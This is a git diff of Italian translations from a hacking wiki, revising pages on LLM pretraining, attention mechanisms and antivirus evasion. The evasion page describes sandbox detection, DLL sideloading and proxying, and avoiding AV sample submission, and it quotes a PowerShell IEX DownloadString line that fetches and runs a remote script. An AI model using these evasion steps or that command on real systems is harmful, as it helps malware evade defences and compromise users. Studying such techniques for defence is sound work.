@ -1446,7 +1446,7 @@ Trova **ulteriori payload SVG in** [**https://github.com/allanlw/svg-cheatsheet*
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
## Pretraining
|
||||
|
||||
Il pretraining è la fase fondamentale nello sviluppo di un modello di linguaggio di grandi dimensioni (LLM) in cui il modello è esposto a enormi e diversificati volumi di dati testuali. Durante questa fase, **l'LLM apprende le strutture, i modelli e le sfumature fondamentali del linguaggio**, inclusi grammatica, vocabolario, sintassi e relazioni contestuali. Elaborando questi dati estesi, il modello acquisisce una comprensione ampia del linguaggio e della conoscenza generale del mondo. Questa base completa consente all'LLM di generare testi coerenti e contestualmente rilevanti. Successivamente, questo modello preaddestrato può subire un fine-tuning, in cui viene ulteriormente addestrato su dataset specializzati per adattare le sue capacità a compiti o domini specifici, migliorando le sue prestazioni e rilevanza nelle applicazioni mirate.
|
||||
Il pretraining è la fase fondamentale nello sviluppo di un modello di linguaggio di grandi dimensioni (LLM) in cui il modello è esposto a enormi e diversificati volumi di dati testuali. Durante questa fase, **l'LLM apprende le strutture fondamentali, i modelli e le sfumature del linguaggio**, inclusi grammatica, vocabolario, sintassi e relazioni contestuali. Elaborando questi dati estesi, il modello acquisisce una comprensione ampia del linguaggio e della conoscenza generale del mondo. Questa base completa consente all'LLM di generare testi coerenti e contestualmente rilevanti. Successivamente, questo modello preaddestrato può subire un fine-tuning, in cui viene ulteriormente addestrato su dataset specializzati per adattare le sue capacità a compiti o domini specifici, migliorando le sue prestazioni e rilevanza nelle applicazioni mirate.
|
||||
|
||||
## Componenti principali degli LLM
|
||||
|
||||
|
@ -30,7 +30,7 @@ GPT_CONFIG_124M = {
|
|||
```
|
||||
## Tensors in PyTorch
|
||||
|
||||
In PyTorch, un **tensor** è una struttura dati fondamentale che funge da array multidimensionale, generalizzando concetti come scalari, vettori e matrici a dimensioni potenzialmente superiori. I tensori sono il modo principale in cui i dati vengono rappresentati e manipolati in PyTorch, specialmente nel contesto dell'apprendimento profondo e delle reti neurali.
|
||||
In PyTorch, un **tensor** è una struttura dati fondamentale che funge da array multidimensionale, generalizzando concetti come scalari, vettori e matrici a dimensioni potenzialmente superiori. I tensori sono il modo principale in cui i dati vengono rappresentati e manipolati in PyTorch, specialmente nel contesto del deep learning e delle reti neurali.
|
||||
|
||||
### Concetto Matematico di Tensors
|
||||
|
||||
|
@ -45,7 +45,7 @@ Da una prospettiva computazionale, i tensori agiscono come contenitori per dati
|
|||
|
||||
### Tensors PyTorch vs. Array NumPy
|
||||
|
||||
Sebbene i tensori PyTorch siano simili agli array NumPy nella loro capacità di memorizzare e manipolare dati numerici, offrono funzionalità aggiuntive cruciali per l'apprendimento profondo:
|
||||
Sebbene i tensori PyTorch siano simili agli array NumPy nella loro capacità di memorizzare e manipolare dati numerici, offrono funzionalità aggiuntive cruciali per il deep learning:
|
||||
|
||||
* **Differenziazione Automatica**: I tensori PyTorch supportano il calcolo automatico dei gradienti (autograd), il che semplifica il processo di calcolo delle derivate necessarie per l'addestramento delle reti neurali.
|
||||
* **Accelerazione GPU**: I tensori in PyTorch possono essere spostati e calcolati su GPU, accelerando significativamente i calcoli su larga scala.
|
||||
|
@ -82,7 +82,7 @@ print(tensor1d.dtype) # Output: torch.int64
|
|||
* I tensori creati da interi Python sono di tipo `torch.int64`.
|
||||
* I tensori creati da float Python sono di tipo `torch.float32`.
|
||||
|
||||
Per cambiare il tipo di dato di un tensore, usa il metodo `.to()`:
|
||||
Per cambiare il tipo di dati di un tensore, usa il metodo `.to()`:
|
||||
```python
|
||||
float_tensor = tensor1d.to(torch.float32)
|
||||
print(float_tensor.dtype) # Output: torch.float32
|
||||
|
@ -132,7 +132,7 @@ Al centro della differenziazione automatica c'è la **regola della catena** del
|
|||
|
||||
Matematicamente, se `y=f(u)` e `u=g(x)`, allora la derivata di `y` rispetto a `x` è:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2. Grafo Computazionale**
|
||||
|
||||
|
@ -142,7 +142,7 @@ Nell'AD, i calcoli sono rappresentati come nodi in un **grafo computazionale**,
|
|||
|
||||
Consideriamo una funzione semplice:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dove:
|
||||
|
||||
|
@ -187,18 +187,7 @@ loss.backward()
|
|||
print("Gradient w.r.t w:", w.grad)
|
||||
print("Gradient w.r.t b:", b.grad)
|
||||
```
|
||||
**Output:**
|
||||
**Concetti di base sui LLM**
|
||||
I modelli di linguaggio di grandi dimensioni (LLM) sono algoritmi di intelligenza artificiale progettati per comprendere e generare testo in linguaggio naturale. Questi modelli sono addestrati su enormi quantità di dati testuali e possono eseguire una varietà di compiti, come la traduzione, la scrittura di contenuti e la risposta a domande.
|
||||
|
||||
**Architettura**
|
||||
La maggior parte degli LLM si basa su architetture di rete neurale chiamate Transformer. Questi modelli utilizzano meccanismi di attenzione per pesare l'importanza delle diverse parole in un contesto, consentendo loro di generare risposte più coerenti e contestualmente appropriate.
|
||||
|
||||
**Addestramento**
|
||||
L'addestramento di un LLM richiede enormi risorse computazionali e una grande quantità di dati. Durante il processo di addestramento, il modello impara a prevedere la parola successiva in una frase, migliorando continuamente la sua capacità di generare testo di alta qualità.
|
||||
|
||||
**Applicazioni**
|
||||
Gli LLM possono essere utilizzati in vari ambiti, tra cui assistenti virtuali, generazione di contenuti, analisi del sentiment e molto altro. La loro versatilità li rende strumenti potenti per le aziende e gli sviluppatori.
|
||||
**Output:**
|
||||
```css
|
||||
cssCopy codeGradient w.r.t w: tensor([-0.0898])
|
||||
Gradient w.r.t b: tensor([-0.0817])
|
||||
|
|
|
@ -5,13 +5,13 @@
|
|||
I meccanismi di attenzione consentono alle reti neurali di **concentrarsi su parti specifiche dell'input durante la generazione di ciascuna parte dell'output**. Assegnano pesi diversi a diversi input, aiutando il modello a decidere quali input sono più rilevanti per il compito in questione. Questo è cruciale in compiti come la traduzione automatica, dove comprendere il contesto dell'intera frase è necessario per una traduzione accurata.
|
||||
|
||||
{% hint style="success" %}
|
||||
L'obiettivo di questa quarta fase è molto semplice: **Applicare alcuni meccanismi di attenzione**. Questi saranno molti **strati ripetuti** che andranno a **catturare la relazione di una parola nel vocabolario con i suoi vicini nella frase attuale utilizzata per addestrare il LLM**.\
|
||||
Vengono utilizzati molti strati per questo, quindi molti parametri addestrabili andranno a catturare queste informazioni.
|
||||
L'obiettivo di questa quarta fase è molto semplice: **Applicare alcuni meccanismi di attenzione**. Questi saranno molti **livelli ripetuti** che andranno a **catturare la relazione di una parola nel vocabolario con i suoi vicini nella frase attuale utilizzata per addestrare il LLM**.\
|
||||
Vengono utilizzati molti livelli per questo, quindi molti parametri addestrabili andranno a catturare queste informazioni.
|
||||
{% endhint %}
|
||||
|
||||
### Comprendere i Meccanismi di Attenzione
|
||||
|
||||
Nei modelli tradizionali sequenza-a-sequenza utilizzati per la traduzione linguistica, il modello codifica una sequenza di input in un vettore di contesto di dimensione fissa. Tuttavia, questo approccio ha difficoltà con frasi lunghe perché il vettore di contesto di dimensione fissa potrebbe non catturare tutte le informazioni necessarie. I meccanismi di attenzione affrontano questa limitazione consentendo al modello di considerare tutti i token di input durante la generazione di ciascun token di output.
|
||||
Nei modelli tradizionali di sequenza a sequenza utilizzati per la traduzione linguistica, il modello codifica una sequenza di input in un vettore di contesto di dimensione fissa. Tuttavia, questo approccio ha difficoltà con frasi lunghe perché il vettore di contesto di dimensione fissa potrebbe non catturare tutte le informazioni necessarie. I meccanismi di attenzione affrontano questa limitazione consentendo al modello di considerare tutti i token di input durante la generazione di ciascun token di output.
|
||||
|
||||
#### Esempio: Traduzione Automatica
|
||||
|
||||
|
@ -51,7 +51,7 @@ Per ciascuna parola nella frase, calcola il **punteggio di attenzione** rispetto
|
|||
|
||||
**Punteggio di Attenzione tra "shiny" e "shiny"**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**Punteggio di Attenzione tra "sun" e "shiny"**
|
||||
|
||||
|
@ -60,7 +60,7 @@ Per ciascuna parola nella frase, calcola il **punteggio di attenzione** rispetto
|
|||
#### Passo 2: Normalizzare i Punteggi di Attenzione per Ottenere i Pesi di Attenzione
|
||||
|
||||
{% hint style="success" %}
|
||||
Non perderti nei termini matematici, l'obiettivo di questa funzione è semplice, normalizzare tutti i pesi affinché **sommati diano 1 in totale**.
|
||||
Non perderti nei termini matematici, l'obiettivo di questa funzione è semplice, normalizzare tutti i pesi in modo che **sommati diano 1 in totale**.
|
||||
|
||||
Inoltre, la funzione **softmax** è utilizzata perché accentua le differenze grazie alla parte esponenziale, rendendo più facile rilevare valori utili.
|
||||
{% endhint %}
|
||||
|
@ -84,7 +84,7 @@ Calcolando i pesi di attenzione:
|
|||
#### Passo 3: Calcolare il Vettore di Contesto
|
||||
|
||||
{% hint style="success" %}
|
||||
Basta prendere ciascun peso di attenzione e moltiplicarlo per le dimensioni del token correlate e poi sommare tutte le dimensioni per ottenere un solo vettore (il vettore di contesto) 
|
||||
Basta prendere ciascun peso di attenzione e moltiplicarlo per le dimensioni del token correlato e poi sommare tutte le dimensioni per ottenere un solo vettore (il vettore di contesto) 
|
||||
{% endhint %}
|
||||
|
||||
Il **vettore di contesto** è calcolato come la somma pesata degli embeddings di tutte le parole, utilizzando i pesi di attenzione.
|
||||
|
@ -105,7 +105,7 @@ Calcolando ciascun componente:
|
|||
|
||||
Sommando gli embeddings pesati:
|
||||
|
||||
`context vector=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
|
||||
`vettore di contesto=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
|
||||
|
||||
**Questo vettore di contesto rappresenta l'embedding arricchito per la parola "shiny", incorporando informazioni da tutte le parole nella frase.**
|
||||
|
||||
|
@ -117,11 +117,11 @@ Sommando gli embeddings pesati:
|
|||
|
||||
## Auto-Attenzione con Pesi Addestrabili
|
||||
|
||||
In pratica, i meccanismi di auto-attenzione utilizzano **pesi addestrabili** per apprendere le migliori rappresentazioni per query, chiavi e valori. Questo comporta l'introduzione di tre matrici di peso:
|
||||
In pratica, i meccanismi di auto-attenzione utilizzano **pesi addestrabili** per apprendere le migliori rappresentazioni per query, chiavi e valori. Questo comporta l'introduzione di tre matrici di pesi:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
||||
|
||||
La query è i dati da utilizzare come prima, mentre le matrici di chiavi e valori sono semplicemente matrici casuali-addestrabili.
|
||||
La query è i dati da utilizzare come prima, mentre le matrici di chiavi e valori sono semplicemente matrici casuali addestrabili.
|
||||
|
||||
#### Passo 1: Calcolare Query, Chiavi e Valori
|
||||
|
||||
|
@ -129,7 +129,7 @@ Ogni token avrà la propria matrice di query, chiave e valore moltiplicando i su
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt="" width="253"><figcaption></figcaption></figure>
|
||||
|
||||
Queste matrici trasformano gli embeddings originali in un nuovo spazio adatto per il calcolo dell'attenzione.
|
||||
Queste matrici trasformano gli embeddings originali in uno spazio nuovo adatto per il calcolo dell'attenzione.
|
||||
|
||||
**Esempio**
|
||||
|
||||
|
@ -155,15 +155,15 @@ queries = torch.matmul(inputs, W_query)
|
|||
keys = torch.matmul(inputs, W_key)
|
||||
values = torch.matmul(inputs, W_value)
|
||||
```
|
||||
#### Step 2: Calcola l'Attenzione a Prodotto Scalato
|
||||
#### Step 2: Calcola l'attenzione a prodotto scalare
|
||||
|
||||
**Calcola i Punteggi di Attenzione**
|
||||
**Calcola i punteggi di attenzione**
|
||||
|
||||
Simile all'esempio precedente, ma questa volta, invece di utilizzare i valori delle dimensioni dei token, utilizziamo la matrice chiave del token (già calcolata utilizzando le dimensioni):. Quindi, per ogni query `qi` e chiave `kj`:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Scala i Punteggi**
|
||||
**Scala i punteggi**
|
||||
|
||||
Per evitare che i prodotti scalari diventino troppo grandi, scalali per la radice quadrata della dimensione della chiave `dk`:
|
||||
|
||||
|
@ -173,19 +173,19 @@ Per evitare che i prodotti scalari diventino troppo grandi, scalali per la radic
|
|||
Il punteggio è diviso per la radice quadrata delle dimensioni perché i prodotti scalari potrebbero diventare molto grandi e questo aiuta a regolarli.
|
||||
{% endhint %}
|
||||
|
||||
**Applica Softmax per Ottenere i Pesi di Attenzione:** Come nell'esempio iniziale, normalizza tutti i valori in modo che sommino 1. 
|
||||
**Applica Softmax per ottenere i pesi di attenzione:** Come nell'esempio iniziale, normalizza tutti i valori in modo che sommino 1. 
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
#### Step 3: Calcola i Vettori di Contesto
|
||||
#### Step 3: Calcola i vettori di contesto
|
||||
|
||||
Come nell'esempio iniziale, somma semplicemente tutte le matrici di valori moltiplicando ciascuna per il suo peso di attenzione:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
|
||||
|
||||
### Esempio di Codice
|
||||
### Esempio di codice
|
||||
|
||||
Prendendo un esempio da [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) puoi controllare questa classe che implementa la funzionalità di auto-attention di cui abbiamo parlato:
|
||||
Prendendo un esempio da [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) puoi controllare questa classe che implementa la funzionalità di auto-attenzione di cui abbiamo parlato:
|
||||
```python
|
||||
import torch
|
||||
|
||||
|
@ -230,11 +230,11 @@ Nota che invece di inizializzare le matrici con valori casuali, `nn.Linear` vien
|
|||
|
||||
## Attenzione Causale: Nascondere Parole Future
|
||||
|
||||
Per i LLM vogliamo che il modello consideri solo i token che appaiono prima della posizione attuale per **prevedere il prossimo token**. **L'attenzione causale**, nota anche come **attenzione mascherata**, raggiunge questo obiettivo modificando il meccanismo di attenzione per impedire l'accesso ai token futuri.
|
||||
Per i LLM vogliamo che il modello consideri solo i token che appaiono prima della posizione attuale per **prevedere il token successivo**. **L'attenzione causale**, nota anche come **attenzione mascherata**, raggiunge questo obiettivo modificando il meccanismo di attenzione per impedire l'accesso ai token futuri.
|
||||
|
||||
### Applicare una Maschera di Attenzione Causale
|
||||
|
||||
Per implementare l'attenzione causale, applichiamo una maschera ai punteggi di attenzione **prima dell'operazione softmax** in modo che quelli rimanenti sommino ancora 1. Questa maschera imposta i punteggi di attenzione dei token futuri a meno infinito, garantendo che dopo il softmax, i loro pesi di attenzione siano zero.
|
||||
Per implementare l'attenzione causale, applichiamo una maschera ai punteggi di attenzione **prima dell'operazione softmax** in modo che quelli rimanenti sommino ancora 1. Questa maschera imposta i punteggi di attenzione dei token futuri a meno infinito, assicurando che dopo il softmax, i loro pesi di attenzione siano zero.
|
||||
|
||||
**Passaggi**
|
||||
|
||||
|
@ -258,7 +258,7 @@ Per **prevenire l'overfitting**, possiamo applicare **dropout** ai pesi di atten
|
|||
dropout = nn.Dropout(p=0.5)
|
||||
attention_weights = dropout(attention_weights)
|
||||
```
|
||||
Un dropout regolare è di circa 10-20%.
|
||||
Un dropout regolare è di circa il 10-20%.
|
||||
|
||||
### Code Example
|
||||
|
||||
|
@ -324,9 +324,9 @@ context_vecs = ca(batch)
|
|||
print(context_vecs)
|
||||
print("context_vecs.shape:", context_vecs.shape)
|
||||
```
|
||||
## Estendere l'attenzione a testa singola all'attenzione a più teste
|
||||
## Estensione dell'Attenzione a Testa Singola all'Attenzione a Teste Multiple
|
||||
|
||||
**L'attenzione a più teste** in termini pratici consiste nell'eseguire **più istanze** della funzione di auto-attenzione, ognuna con **i propri pesi**, in modo che vengano calcolati vettori finali diversi.
|
||||
**L'attenzione a teste multiple** in termini pratici consiste nell'eseguire **più istanze** della funzione di auto-attenzione, ognuna con **i propri pesi**, in modo che vengano calcolati vettori finali diversi.
|
||||
|
||||
### Esempio di Codice
|
||||
|
||||
|
@ -412,7 +412,7 @@ Per un'altra implementazione compatta ed efficiente, puoi utilizzare la [`torch.
|
|||
{% hint style="success" %}
|
||||
Risposta breve di ChatGPT sul perché sia meglio dividere le dimensioni dei token tra le teste invece di far controllare a ciascuna testa tutte le dimensioni di tutti i token:
|
||||
|
||||
Sebbene consentire a ciascuna testa di elaborare tutte le dimensioni di embedding possa sembrare vantaggioso perché ogni testa avrebbe accesso a tutte le informazioni, la pratica standard è **dividere le dimensioni di embedding tra le teste**. Questo approccio bilancia l'efficienza computazionale con le prestazioni del modello e incoraggia ciascuna testa ad apprendere rappresentazioni diverse. Pertanto, dividere le dimensioni di embedding è generalmente preferito rispetto a far controllare a ciascuna testa tutte le dimensioni.
|
||||
Sebbene consentire a ciascuna testa di elaborare tutte le dimensioni di embedding possa sembrare vantaggioso perché ogni testa avrebbe accesso a tutte le informazioni, la pratica standard è **dividere le dimensioni di embedding tra le teste**. Questo approccio bilancia l'efficienza computazionale con le prestazioni del modello e incoraggia ciascuna testa a imparare rappresentazioni diverse. Pertanto, dividere le dimensioni di embedding è generalmente preferito rispetto a far controllare a ciascuna testa tutte le dimensioni.
|
||||
{% endhint %}
|
||||
|
||||
## References
|
||||
|
|
|
@ -15,7 +15,7 @@ Impara e pratica Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nell'hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
|
@ -29,11 +29,11 @@ Attualmente, gli AV utilizzano diversi metodi per controllare se un file è dann
|
|||
|
||||
### **Rilevamento statico**
|
||||
|
||||
Il rilevamento statico si ottiene contrassegnando stringhe o array di byte dannosi noti in un binario o script, ed estraendo anche informazioni dal file stesso (ad es. descrizione del file, nome dell'azienda, firme digitali, icona, checksum, ecc.). Questo significa che utilizzare strumenti pubblici noti potrebbe farti catturare più facilmente, poiché probabilmente sono stati analizzati e contrassegnati come dannosi. Ci sono un paio di modi per aggirare questo tipo di rilevamento:
|
||||
Il rilevamento statico si ottiene contrassegnando stringhe o array di byte dannosi noti in un binario o script, e anche estraendo informazioni dal file stesso (ad es. descrizione del file, nome dell'azienda, firme digitali, icona, checksum, ecc.). Questo significa che utilizzare strumenti pubblici noti potrebbe farti catturare più facilmente, poiché probabilmente sono stati analizzati e contrassegnati come dannosi. Ci sono un paio di modi per aggirare questo tipo di rilevamento:
|
||||
|
||||
* **Crittografia**
|
||||
|
||||
Se crittografi il binario, non ci sarà modo per l'AV di rilevare il tuo programma, ma avrai bisogno di un caricatore per decrittografare ed eseguire il programma in memoria.
|
||||
Se crittografi il binario, non ci sarà modo per l'AV di rilevare il tuo programma, ma avrai bisogno di qualche tipo di loader per decrittografare ed eseguire il programma in memoria.
|
||||
|
||||
* **Offuscamento**
|
||||
|
||||
|
@ -57,7 +57,7 @@ L'analisi dinamica è quando l'AV esegue il tuo binario in un sandbox e osserva
|
|||
* **Controllo delle risorse della macchina** Di solito le sandbox hanno pochissime risorse con cui lavorare (ad es. < 2GB di RAM), altrimenti potrebbero rallentare la macchina dell'utente. Puoi anche essere molto creativo qui, ad esempio controllando la temperatura della CPU o persino la velocità delle ventole, non tutto sarà implementato nella sandbox.
|
||||
* **Controlli specifici della macchina** Se vuoi mirare a un utente la cui workstation è unita al dominio "contoso.local", puoi fare un controllo sul dominio del computer per vedere se corrisponde a quello che hai specificato, se non corrisponde, puoi far uscire il tuo programma.
|
||||
|
||||
Si scopre che il nome della macchina della Sandbox di Microsoft Defender è HAL9TH, quindi puoi controllare il nome del computer nel tuo malware prima della detonazione, se il nome corrisponde a HAL9TH, significa che sei all'interno della sandbox di Defender, quindi puoi far uscire il tuo programma.
|
||||
Si scopre che il nome del computer della Sandbox di Microsoft Defender è HAL9TH, quindi puoi controllare il nome del computer nel tuo malware prima della detonazione, se il nome corrisponde a HAL9TH, significa che sei all'interno della sandbox di Defender, quindi puoi far uscire il tuo programma.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>fonte: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
|
@ -67,9 +67,9 @@ Alcuni altri ottimi consigli da [@mgeeky](https://twitter.com/mariuszbit) per an
|
|||
|
||||
Come abbiamo detto prima in questo post, **gli strumenti pubblici** alla fine **verranno rilevati**, quindi dovresti chiederti qualcosa:
|
||||
|
||||
Ad esempio, se vuoi dumpare LSASS, **hai davvero bisogno di usare mimikatz**? O potresti usare un progetto diverso che è meno conosciuto e che dumpa anche LSASS.
|
||||
Ad esempio, se vuoi dumpare LSASS, **hai davvero bisogno di usare mimikatz**? O potresti usare un progetto diverso che è meno conosciuto e dumpa anche LSASS.
|
||||
|
||||
La risposta giusta è probabilmente l'ultima. Prendendo mimikatz come esempio, è probabilmente uno dei, se non il più contrassegnato pezzo di malware dagli AV e EDR, mentre il progetto stesso è super interessante, è anche un incubo lavorarci per aggirare gli AV, quindi cerca semplicemente alternative per ciò che stai cercando di ottenere.
|
||||
La risposta giusta è probabilmente la seconda. Prendendo mimikatz come esempio, è probabilmente uno dei, se non il più contrassegnato malware dagli AV e EDR, mentre il progetto stesso è super interessante, è anche un incubo lavorarci per aggirare gli AV, quindi cerca semplicemente alternative per ciò che stai cercando di ottenere.
|
||||
|
||||
{% hint style="info" %}
|
||||
Quando modifichi i tuoi payload per l'evasione, assicurati di **disattivare l'invio automatico dei campioni** in Defender, e per favore, seriamente, **NON CARICARE SU VIRUSTOTAL** se il tuo obiettivo è raggiungere l'evasione a lungo termine. Se vuoi controllare se il tuo payload viene rilevato da un particolare AV, installalo su una VM, prova a disattivare l'invio automatico dei campioni e testalo lì finché non sei soddisfatto del risultato.
|
||||
|
@ -77,19 +77,19 @@ Quando modifichi i tuoi payload per l'evasione, assicurati di **disattivare l'in
|
|||
|
||||
## EXE vs DLL
|
||||
|
||||
Ogni volta che è possibile, **dai sempre priorità all'uso delle DLL per l'evasione**, nella mia esperienza, i file DLL sono di solito **molto meno rilevati** e analizzati, quindi è un trucco molto semplice da usare per evitare il rilevamento in alcuni casi (se il tuo payload ha un modo di eseguire come DLL ovviamente).
|
||||
Ogni volta che è possibile, **dai sempre priorità all'uso delle DLL per l'evasione**, nella mia esperienza, i file DLL sono di solito **molto meno rilevati** e analizzati, quindi è un trucco molto semplice da usare per evitare il rilevamento in alcuni casi (se il tuo payload ha qualche modo di essere eseguito come una DLL ovviamente).
|
||||
|
||||
Come possiamo vedere in questa immagine, un Payload DLL di Havoc ha un tasso di rilevamento di 4/26 in antiscan.me, mentre il payload EXE ha un tasso di rilevamento di 7/26.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>confronto antiscan.me di un normale payload EXE di Havoc vs un normale payload DLL di Havoc</p></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>confronto antiscan.me di un normale payload EXE di Havoc vs un normale DLL di Havoc</p></figcaption></figure>
|
||||
|
||||
Ora mostreremo alcuni trucchi che puoi usare con i file DLL per essere molto più furtivo.
|
||||
|
||||
## Sideloading DLL e Proxying
|
||||
## Sideloading DLL & Proxying
|
||||
|
||||
**DLL Sideloading** sfrutta l'ordine di ricerca delle DLL utilizzato dal caricatore posizionando sia l'applicazione vittima che il/i payload dannoso/i uno accanto all'altro.
|
||||
**DLL Sideloading** sfrutta l'ordine di ricerca delle DLL utilizzato dal loader posizionando sia l'applicazione vittima che il payload dannoso affiancati.
|
||||
|
||||
Puoi controllare i programmi suscettibili al DLL Sideloading utilizzando [Siofra](https://github.com/Cybereason/siofra) e il seguente script di powershell:
|
||||
Puoi controllare i programmi suscettibili al DLL Sideloading utilizzando [Siofra](https://github.com/Cybereason/siofra) e il seguente script powershell:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
|
@ -102,7 +102,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
|||
|
||||
Questo comando restituirà l'elenco dei programmi suscettibili al DLL hijacking all'interno di "C:\Program Files\\" e i file DLL che tentano di caricare.
|
||||
|
||||
Ti consiglio vivamente di **esplorare i programmi DLL Hijackable/Sideloadable da solo**, questa tecnica è piuttosto furtiva se eseguita correttamente, ma se utilizzi programmi DLL Sideloadable pubblicamente noti, potresti essere facilmente scoperto.
|
||||
Ti consiglio vivamente di **esplorare i programmi DLL Hijackable/Sideloadable da solo**, questa tecnica è piuttosto furtiva se eseguita correttamente, ma se utilizzi programmi Sideloadable DLL pubblicamente noti, potresti essere facilmente catturato.
|
||||
|
||||
Semplicemente posizionare una DLL malevola con il nome che un programma si aspetta di caricare, non caricherà il tuo payload, poiché il programma si aspetta alcune funzioni specifiche all'interno di quella DLL; per risolvere questo problema, utilizzeremo un'altra tecnica chiamata **DLL Proxying/Forwarding**.
|
||||
|
||||
|
@ -135,7 +135,7 @@ Questi sono i risultati:
|
|||
|
||||
<figure><img src="../.gitbook/assets/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sia il nostro shellcode (codificato con [SGN](https://github.com/EgeBalci/sgn)) che la DLL proxy hanno un tasso di rilevamento di 0/26 su [antiscan.me](https://antiscan.me)! Direi che è un successo.
|
||||
Sia il nostro shellcode (codificato con [SGN](https://github.com/EgeBalci/sgn)) che la DLL proxy hanno un tasso di rilevamento di 0/26 in [antiscan.me](https://antiscan.me)! Direi che è un successo.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -162,11 +162,11 @@ L'evasione è solo un gioco del gatto e del topo, ciò che funziona oggi potrebb
|
|||
|
||||
## AMSI (Interfaccia di Scansione Anti-Malware)
|
||||
|
||||
AMSI è stata creata per prevenire "[fileless malware](https://en.wikipedia.org/wiki/Fileless\_malware)". Inizialmente, gli AV erano in grado di scansionare solo **file su disco**, quindi se riuscivi in qualche modo a eseguire payload **direttamente in memoria**, l'AV non poteva fare nulla per prevenirlo, poiché non aveva abbastanza visibilità.
|
||||
AMSI è stato creato per prevenire "[malware senza file](https://en.wikipedia.org/wiki/Fileless\_malware)". Inizialmente, gli AV erano in grado di scansionare solo **file su disco**, quindi se riuscivi in qualche modo a eseguire payload **direttamente in memoria**, l'AV non poteva fare nulla per prevenirlo, poiché non aveva abbastanza visibilità.
|
||||
|
||||
La funzione AMSI è integrata in questi componenti di Windows.
|
||||
|
||||
* Controllo Account Utente, o UAC (elevazione di EXE, COM, MSI o installazione ActiveX)
|
||||
* Controllo dell'Account Utente, o UAC (elevazione di EXE, COM, MSI o installazione ActiveX)
|
||||
* PowerShell (script, uso interattivo e valutazione dinamica del codice)
|
||||
* Windows Script Host (wscript.exe e cscript.exe)
|
||||
* JavaScript e VBScript
|
||||
|
@ -178,7 +178,7 @@ Eseguire `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubuserc
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (1135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Nota come preceda `amsi:` e poi il percorso dell'eseguibile da cui è stato eseguito lo script, in questo caso, powershell.exe
|
||||
Nota come anteponga `amsi:` e poi il percorso all'eseguibile da cui è stato eseguito lo script, in questo caso, powershell.exe
|
||||
|
||||
Non abbiamo scaricato alcun file su disco, ma siamo stati comunque catturati in memoria a causa di AMSI.
|
||||
|
||||
|
@ -188,9 +188,9 @@ Ci sono un paio di modi per aggirare AMSI:
|
|||
